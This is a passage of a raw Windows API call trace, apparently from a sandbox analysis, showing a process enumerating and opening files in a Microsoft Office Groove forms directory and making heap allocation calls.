ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60975c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1388d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x850, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e612900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e612900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x856, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529685b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x612, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0078.763] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0078.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.763] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0078.763] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0078.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.764] NtClose (Handle=0x170) returned 0x0 [0078.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c55d8) returned 1 [0078.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c55d8 [0078.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c56e0 [0078.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0078.766] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.767] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c57e8 [0078.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2150 [0078.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c58f0 [0078.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.768] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana", cAlternateFileName="")) returned 1 [0078.768] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2170 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c59f8 [0078.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.768] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0078.768] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0078.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac2190 [0078.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c5b00 [0078.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0078.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac21b0 [0078.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c5c08 [0078.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.770] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0078.770] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90c38300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90c38300, 